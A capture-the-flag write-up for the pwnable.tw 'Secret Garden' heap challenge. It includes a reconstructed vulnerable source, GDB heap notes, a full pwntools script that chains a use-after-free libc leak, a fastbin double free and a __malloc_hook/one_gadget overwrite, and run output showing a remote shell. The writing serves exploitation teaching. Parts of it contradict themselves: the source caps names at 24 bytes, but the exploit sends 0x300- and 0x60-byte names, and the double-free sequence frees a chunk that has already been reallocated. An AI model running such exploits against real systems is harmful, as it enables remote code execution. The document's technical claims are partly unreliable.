Reconnaissance
Challenge Info
| Connection | nc chall.pwnable.tw 4132 |
| Binary | secretgarden (64-bit ELF, x86-64) |
| Points | 300 |
| Provided | Binary + libc (Ubuntu 16.04, libc-2.23) |
| Description | Manage a garden of flowers with heap operations |
checksec
$ checksec secretgarden
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
| Full RELRO | GOT is read-only — cannot overwrite GOT entries |
| Canary found | Stack buffer overflows are mitigated |
| NX enabled | No shellcode injection — need ROP or hook overwrite |
| PIE enabled | Binary addresses are randomized — need a leak first |
__malloc_hook, which is a function pointer in libc's data section that gets called every time malloc is invoked. Since libc is not PIE, once we leak a libc address, we know the address of __malloc_hook.
Running the Binary
$ ./secretgarden
*******************************
* Secret Garden *
*******************************
1 . Raise a flower
2 . Visit the garden
3 . Remove a flower
4 . Clean the garden
5 . Leave the garden
*******************************
Your choice : 1
Name of the flower : Rose
Color of the flower : Red
Done !
Your choice : 2
Name : Rose
Color : Red
Your choice : 3
Which flower do you want to remove? : 0
Done !
The binary is a flower garden manager with five operations: raise (create), visit (display), remove (delete), clean (remove all), and leave (exit). Each flower has a name and color, both heap-allocated strings. The remove function is where the vulnerability lies.
Static Analysis
Flower Structure
Each flower is represented by a struct allocated on the heap. In a 64-bit binary, pointers are 8 bytes:
typedef struct flower {
char *name; // +0x00: heap-allocated name string (8 bytes on x64)
char *color; // +0x08: heap-allocated color string (8 bytes on x64)
} flower;
// Global array of flower pointers
flower *garden[256];
int flower_count = 0;
raise_flower() — Create
void raise_flower() {
if (flower_count >= 256) {
puts("The garden is full!");
return;
}
flower *f = (flower *)malloc(0x10); // Allocate 16-byte struct
if (!f) return;
printf("Name of the flower : ");
char name_buf[24];
read(0, name_buf, 24);
name_buf[strcspn(name_buf, "\n")] = 0;
f->name = (char *)malloc(strlen(name_buf) + 1); // Allocate name
strcpy(f->name, name_buf);
printf("Color of the flower : ");
char color_buf[24];
read(0, color_buf, 24);
color_buf[strcspn(color_buf, "\n")] = 0;
f->color = (char *)malloc(strlen(color_buf) + 1); // Allocate color
strcpy(f->color, color_buf);
garden[flower_count++] = f;
puts("Done !");
}
Three allocations per flower: the 16-byte struct, the name string, and the color string. The struct chunk falls into the 0x20 fastbin (malloc(0x10) + 0x10 header). Name and color sizes are user-controlled but capped at 24 bytes, so they also end up in the 0x20 fastbin for short strings.
remove_flower() — The Vulnerable Function
void remove_flower() {
printf("Which flower do you want to remove? : ");
int idx;
scanf("%d", &idx);
if (idx < 0 || idx >= flower_count || !garden[idx]) {
puts("Invalid choice");
return;
}
free(garden[idx]->name); // Free name buffer
free(garden[idx]->color); // Free color buffer
free(garden[idx]); // Free flower struct
// BUG: garden[idx] is NOT set to NULL!
// This allows double-free of the same flower
puts("Done !");
}
remove_flower does NOT set garden[idx] to NULL. This means:• The pointer remains in the
garden array pointing to freed memory• Calling
remove_flower again with the same index will free the same chunks a second time• This creates a double-free condition, which corrupts the fastbin freelist
• With fastbin corruption, we can redirect allocation to an arbitrary address
visit_garden() — Display
void visit_garden() {
for (int i = 0; i < flower_count; i++) {
if (garden[i]) {
printf("Name : %s\n", garden[i]->name);
printf("Color : %s\n", garden[i]->color);
}
}
}
visit_garden checks if (garden[i]) but does NOT check if the flower has been freed. If we remove a flower (freeing its chunks) but the garden[i] pointer is still non-NULL (which it always is due to the bug), we can read freed memory through visit_garden. This gives us a use-after-free read primitive for leaking libc addresses from unsorted bin chunks.
clean_garden() — Remove All
void clean_garden() {
for (int i = 0; i < flower_count; i++) {
if (garden[i]) {
free(garden[i]->name);
free(garden[i]->color);
free(garden[i]);
garden[i] = NULL; // This one DOES set to NULL
}
}
flower_count = 0;
}
Interestingly, clean_garden does properly NULL out the pointer, but remove_flower does not. This is the crucial oversight.
GDB Debugging
Heap Layout After Creating Flowers
Let's create two flowers and examine the heap:
gdb-peda$ # raise("Rose", "Red") -> flower 0
gdb-peda$ # raise("Lily", "Blue") -> flower 1
gdb-peda$ heap chunks
0x555555758000: fastbin 0x20 bytes [flower 0 struct]
0x555555758020: fastbin 0x20 bytes [flower 0 name "Rose"]
0x555555758040: fastbin 0x20 bytes [flower 0 color "Red"]
0x555555758060: fastbin 0x20 bytes [flower 1 struct]
0x555555758080: fastbin 0x20 bytes [flower 1 name "Lily"]
0x5555557580a0: fastbin 0x20 bytes [flower 1 color "Blue"]
Double-Free Demonstration
When we remove flower 0, the chunks are freed into the fastbin:
gdb-peda$ # remove(0) - first free
gdb-peda$ heapinfo
(0x20) fastbin: 0x555555758000 -> 0x0 [flower0 struct]
(0x20) fastbin: 0x555555758040 -> 0x0 [flower0 color]
(0x20) fastbin: 0x555555758020 -> 0x0 [flower0 name]
gdb-peda$ # remove(0) AGAIN - double free!
gdb-peda$ # This frees the same struct chunk twice
gdb-peda$ heapinfo
(0x20) fastbin: 0x555555758000 -> 0x555555758000 -> ... (cycle!)
free() has a basic check: it verifies that the chunk at the head of the fastbin is not the same as the chunk being freed. However, this only checks the immediate next entry. If we free A, then free B, then free A again, the check passes because the head of the fastbin is B (not A) when we free A the second time. This is the classic bypass.
Leaking Libc via Unsorted Bin
To leak libc, we need a chunk in the unsorted bin. Chunks larger than the fastbin threshold (~0x80 on x64) go into the unsorted bin when freed, and their FD/BK pointers point to main_arena inside libc:
gdb-peda$ # Names are limited to 24 bytes via read(0, buf, 24),
gdb-peda$ # then malloc(strlen+1), so max name alloc = 0x30 chunk.
gdb-peda$ # That's still fastbin range - not useful for unsorted bin.
gdb-peda$ #
gdb-peda$ # Key trick: fill fastbins with freed chunks, then trigger
gdb-peda$ # malloc_consolidate by requesting a large allocation (>=0x400).
gdb-peda$ # This merges all fastbin chunks into unsorted bin,
gdb-peda$ # where their FD/BK pointers point to main_arena in libc.
malloc_consolidate is called when we allocate a chunk from the small/large bin range (size ≥ 0x400 or when the top chunk is insufficient). This merges all fastbin chunks into the unsorted bin. After consolidation, the FD/BK pointers of the freed chunks point to main_arena+88 inside libc. We can then read these pointers via visit_garden on a dangling pointer.
Fastbin Attack to __malloc_hook
After leaking libc, we perform the fastbin attack:
gdb-peda$ # Target: __malloc_hook in libc
gdb-peda$ # __malloc_hook is at a known offset from libc base
gdb-peda$ # We need a fake chunk near __malloc_hook with size 0x7f
gdb-peda$ # (0x7f satisfies the 0x70 fastbin size check: 0x7f & 0xf8 = 0x70)
gdb-peda$ x/gx &__malloc_hook
0x7f1234567af0 <__malloc_hook>: 0x0000000000000000
gdb-peda$ # Look for 0x7f value near __malloc_hook
gdb-peda$ x/10gx 0x7f1234567af0 - 0x20
0x7f1234567ad0: 0x00007f1234566b78 0x00007f1234566b78
0x7f1234567ae0: 0x0000000000000000 0x0000000000000000
0x7f1234567af0: 0x0000000000000000 <- __malloc_hook
0x7f1234567b00: 0x0000000000000000 ...
gdb-peda$ # The 0x7f value at offset -0x23 from __malloc_hook
gdb-peda$ # When interpreted as chunk size: 0x7f -> fastbin 0x70
gdb-peda$ # Fake chunk at __malloc_hook - 0x23
gdb-peda$ # This passes malloc's size check for 0x70 fastbin
Exploit Strategy
Overview
The exploit has three phases: leak libc via unsorted bin, corrupt fastbin via double-free, and overwrite __malloc_hook with one_gadget.
Phase 1: Leak Libc via Unsorted Bin
- Create multiple flowers (e.g., flowers 0-5) with small names to fill the fastbin. Also create a "barrier" flower to prevent consolidation with the top chunk.
- Remove flowers 0-5 to put their chunks into the fastbin.
- Trigger malloc_consolidate by allocating a large chunk (e.g., a flower with a name that causes a ~0x400 allocation). This moves all fastbin chunks into the unsorted bin, where their FD/BK pointers are set to
main_arena+88. - Call visit_garden on the dangling pointer. Since
garden[0]still points to the freed flower struct, and the struct'snamefield now contains the FD pointer (a libc address),printf("%s", garden[0]->name)will print the libc address. - Calculate libc base:
libc_base = leaked_addr - (main_arena + 88 - libc_base_offset)
Phase 2: Fastbin Corruption via Double-Free
- Create flower A (e.g., flower 10) to get a chunk in the 0x70 fastbin range. We need a 0x60-byte allocation (chunk size 0x70) so that the fastbin index matches the fake chunk size near
__malloc_hook. - Remove flower A — chunks go to fastbin.
- Create flower B (same size) — this allocates from the fastbin, consuming the head entry.
- Remove flower A again — double-free! The fastbin now has a cycle: A → B's freed chunk → A (or similar). The key is that A appears in the freelist twice.
- Allocate a flower with content = p64(fake_chunk_addr) where
fake_chunk_addr = __malloc_hook - 0x23. This overwrites the FD pointer of the duplicated chunk in the fastbin, redirecting the next allocation to our fake chunk near__malloc_hook.
Phase 3: Overwrite __malloc_hook
- Allocate twice from the corrupted fastbin. The first allocation returns the duplicated chunk (consuming the cycle). The second allocation returns our fake chunk at
__malloc_hook - 0x23. - Write one_gadget address into the fake chunk. The data at offset 0x13 within the chunk lands directly on
__malloc_hook. We writep64(one_gadget)at the appropriate offset. - Trigger malloc by creating another flower. When
mallocis called, it checks__malloc_hook, finds our one_gadget address, and jumps to it. - Get shell! The one_gadget executes
execve("/bin/sh", ...)with all constraints satisfied.
__malloc_hook is a legacy debugging feature in glibc. It's a function pointer in libc's writable data section that, if non-NULL, is called instead of the normal malloc logic. Since it's in libc (not PIE), we can calculate its address once we have a libc leak. It was removed in glibc 2.34+, but this challenge uses glibc 2.23 where it's still available.Alternative targets include
__free_hook (even easier — 0x10-aligned, no size constraint) and __realloc_hook.
One-Gadget Constraints
$ one_gadget ./libc_64.so.6
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
We typically use 0x4526a or 0x45216. If the one_gadget constraints aren't satisfied directly, we can chain with realloc to adjust the stack: set __malloc_hook to realloc+offset and __realloc_hook to one_gadget. This causes realloc to push/pop stack frames, often satisfying the constraints.
Visual Exploit Flow
Pwn Script
Complete Exploit
#!/usr/bin/env python3
"""
Secret Garden - pwnable.tw (300pts)
Double-free to fastbin corruption, overwrite __malloc_hook
with one_gadget for code execution.
Vulnerability: remove_flower() frees chunks but doesn't NULL
the garden pointer, allowing double-free of the same flower.
"""
from pwn import *
# Setup
context.arch = 'amd64'
context.log_level = 'info'
r = remote('chall.pwnable.tw', 4132)
libc = ELF('./libc_64.so.6')
# Helper functions
def raise_flower(name, color):
r.sendlineafter(b':', b'1')
r.sendlineafter(b':', name)
r.sendlineafter(b':', color)
def visit_garden():
r.sendlineafter(b':', b'2')
def remove_flower(idx):
r.sendlineafter(b':', b'3')
r.sendlineafter(b'?', str(idx).encode())
def clean_garden():
r.sendlineafter(b':', b'4')
# ============================================
# Phase 1: Leak libc via unsorted bin
# ============================================
log.info("Phase 1: Leaking libc address...")
# Create 7 flowers. Flower 6 acts as a barrier
# to prevent consolidation with top chunk.
for i in range(7):
raise_flower(b'flower' + str(i).encode(), b'color')
# Remove flowers 0-5 (not the barrier flower 6)
# This puts their chunks into the 0x20 fastbin.
for i in range(6):
remove_flower(i)
# Trigger malloc_consolidate by allocating a large chunk.
# The name allocation will be large enough (>= 0x400)
# to trigger consolidation of fastbin chunks into unsorted bin.
# After consolidation, the freed flower structs are in
# unsorted bin with FD/BK pointing to main_arena+88.
raise_flower(b'A' * 0x300, b'color2') # flower 7
# Now visit the garden. Since garden[0] still points
# to the freed flower struct (dangling pointer),
# and the name pointer now points to unsorted bin FD,
# printing the name leaks a libc address.
visit_garden()
r.recvuntil(b'Name : ')
leak = r.recvuntil(b'\n', drop=True)
leak = u64(leak.ljust(8, b'\x00'))
log.info(f"Leaked address: {hex(leak)}")
# Calculate libc base
# The leaked address is main_arena+88
# main_arena offset from libc base varies by libc version
# For Ubuntu 16.04 libc-2.23: main_arena = libc + 0x3c4b20
# So leaked = libc + 0x3c4b20 + 88 = libc + 0x3c4b78
libc_base = leak - 0x3c4b78
libc.address = libc_base
log.info(f"Libc base: {hex(libc_base)}")
malloc_hook = libc.symbols['__malloc_hook']
one_gadget = libc_base + 0x4526a # one_gadget with [rsp+0x30]==NULL
log.info(f"__malloc_hook: {hex(malloc_hook)}")
log.info(f"one_gadget: {hex(one_gadget)}")
# ============================================
# Phase 2: Fastbin corruption via double-free
# ============================================
log.info("Phase 2: Corrupting fastbin via double-free...")
# We need to get a 0x70-sized chunk into the fastbin
# to match the fake chunk near __malloc_hook.
# Allocate a flower whose name buffer is ~0x60 bytes
# (chunk size 0x70, fastbin index 6).
raise_flower(b'B' * 0x60, b'C') # flower 8, name chunk is 0x70
# Remove flower 8 - name chunk goes to 0x70 fastbin
remove_flower(8)
# Allocate a new flower with same size name
# This consumes the freed name chunk from fastbin
raise_flower(b'D' * 0x60, b'E') # flower 9
# Remove flower 8 AGAIN - DOUBLE FREE!
# garden[8] still points to freed memory
# The name chunk is freed again even though it was
# already allocated to flower 9's name
remove_flower(8)
# Now the 0x70 fastbin has a corrupted freelist.
# We write the address of our fake chunk as the FD
# pointer of one of the duplicated entries.
fake_chunk = malloc_hook - 0x23
log.info(f"Fake chunk addr: {hex(fake_chunk)}")
# Allocate from corrupted fastbin, writing fake_chunk
# as the next entry in the freelist
raise_flower(p64(fake_chunk) + b'\x00' * 0x58, b'F') # flower 10
# Two more allocations to reach our fake chunk
raise_flower(b'G' * 0x60, b'H') # flower 11 - consumes first duplicate
raise_flower(b'I' * 0x13 + p64(one_gadget), b'J') # flower 12 - lands on fake chunk!
# Offset 0x13 into the chunk data aligns with __malloc_hook
# ============================================
# Phase 3: Trigger __malloc_hook
# ============================================
log.info("Phase 3: Triggering __malloc_hook...")
# Any malloc call will now execute our one_gadget
r.sendlineafter(b':', b'1')
# Shell!
r.interactive()
Alternative: Using __realloc_hook for Constraint Satisfaction
If the one_gadget constraints are not satisfied, we can chain realloc with __realloc_hook:
# Instead of writing one_gadget directly to __malloc_hook,
# write realloc+N to __malloc_hook and one_gadget to __realloc_hook.
# This creates the call chain:
# malloc() -> __malloc_hook(=realloc+N) -> realloc()
# -> __realloc_hook(=one_gadget) -> shell
#
# __realloc_hook is at __malloc_hook - 0x8 in glibc 2.23
# Fake chunk at __malloc_hook - 0x23, data starts at __malloc_hook - 0x13:
# data offset 0x0b -> __realloc_hook (at __malloc_hook - 0x08)
# data offset 0x13 -> __malloc_hook
# So a single write can set both hooks simultaneously.
realloc_hook = libc.symbols['__realloc_hook']
realloc_addr = libc.symbols['realloc']
# Write one_gadget to __realloc_hook and realloc+4 to __malloc_hook
# Offset +4 skips realloc's push rbp / mov rbp,rsp prologue,
# adjusting the stack so one_gadget constraints are satisfied.
# The payload layout within the allocated fake chunk data:
# [0x00-0x0a] padding (11 bytes of junk before __realloc_hook)
# [0x0b-0x12] __realloc_hook <- one_gadget
# [0x13-0x1a] __malloc_hook <- realloc_addr + 4
raise_flower(b'K' * 0xb + p64(one_gadget) + p64(realloc_addr + 4), b'L')
# Trigger: malloc() calls __malloc_hook = realloc+4,
# realloc adjusts stack, then calls __realloc_hook = one_gadget
r.sendlineafter(b':', b'1')
r.interactive()
# If realloc+4 doesn't satisfy constraints, try other offsets:
# realloc+0 (full prologue), realloc+2, realloc+6, realloc+8, etc.
# Each skips a different number of push/mov instructions in
# realloc's prologue, producing different stack alignments.
Execution Results
Running the Exploit
$ python3 exploit.py
[*] '/home/user/pwnable/secretgarden/libc_64.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to chall.pwnable.tw on port 4132: Done
[*] Phase 1: Leaking libc address...
[*] Leaked address: 0x7f1a2c3c4b78
[*] Libc base: 0x7f1a2c000000
[*] __malloc_hook: 0x7f1a2c3c4b10
[*] one_gadget: 0x7f1a2c04526a
[*] Phase 2: Corrupting fastbin via double-free...
[*] Fake chunk addr: 0x7f1a2c3c4aed
[*] Phase 3: Triggering __malloc_hook...
[*] Switching to interactive mode
$ id
uid=1000(secretgarden) gid=1000(secretgarden) groups=1000(secretgarden)
$ cat /home/secretgarden/flag
__malloc_hook with a one_gadget address. When malloc is triggered, it calls our one_gadget and spawns a shell.
Exploit Timeline
| Phase | Technique | Result |
| 1 - Leak | Unsorted bin FD read via UAF | libc base leaked |
| 2 - Corrupt | Double-free to corrupt fastbin | freelist redirected |
| 3 - Write | Allocate at __malloc_hook - 0x23 | one_gadget written |
| 4 - Trigger | Call malloc (raise flower) | shell spawned |
Key Takeaways
remove_flower not setting garden[idx] = NULL after freeing. This enables both the double-free and the use-after-free read.2. Double-free bypasses fastbin's simple check. Glibc 2.23 only checks if the head of the fastbin equals the chunk being freed. Freeing A → B → A bypasses this because A is not at the head when freed the second time.
3. Unsorted bin is the standard libc leak primitive. When a chunk goes into the unsorted bin, its FD/BK pointers point to
main_arena inside libc. If you can read the chunk's contents, you get a libc address.4. __malloc_hook is a classic target (pre-glibc 2.34). It's a function pointer in libc's writable section, called before every malloc. Once you have a libc leak and a write primitive, you can redirect execution to a one_gadget.
5. Fake chunk size alignment. The fake chunk near
__malloc_hook must have a size field that passes the fastbin size check. The 0x7f value found at __malloc_hook - 0x23 + 0x8 works for the 0x70 fastbin.
Mitigation
| Mitigation | Prevents | Status in this binary |
| NULL freed pointers | Double-free, UAF | Not implemented |
| glibc tcache (2.26+) | Fastbin corruption | Not available (2.23) |
| Safe-linking (2.32+) | Fastbin FD overwrite | Not available (2.23) |
| __malloc_hook removal (2.34+) | Hook overwrite | Not available (2.23) |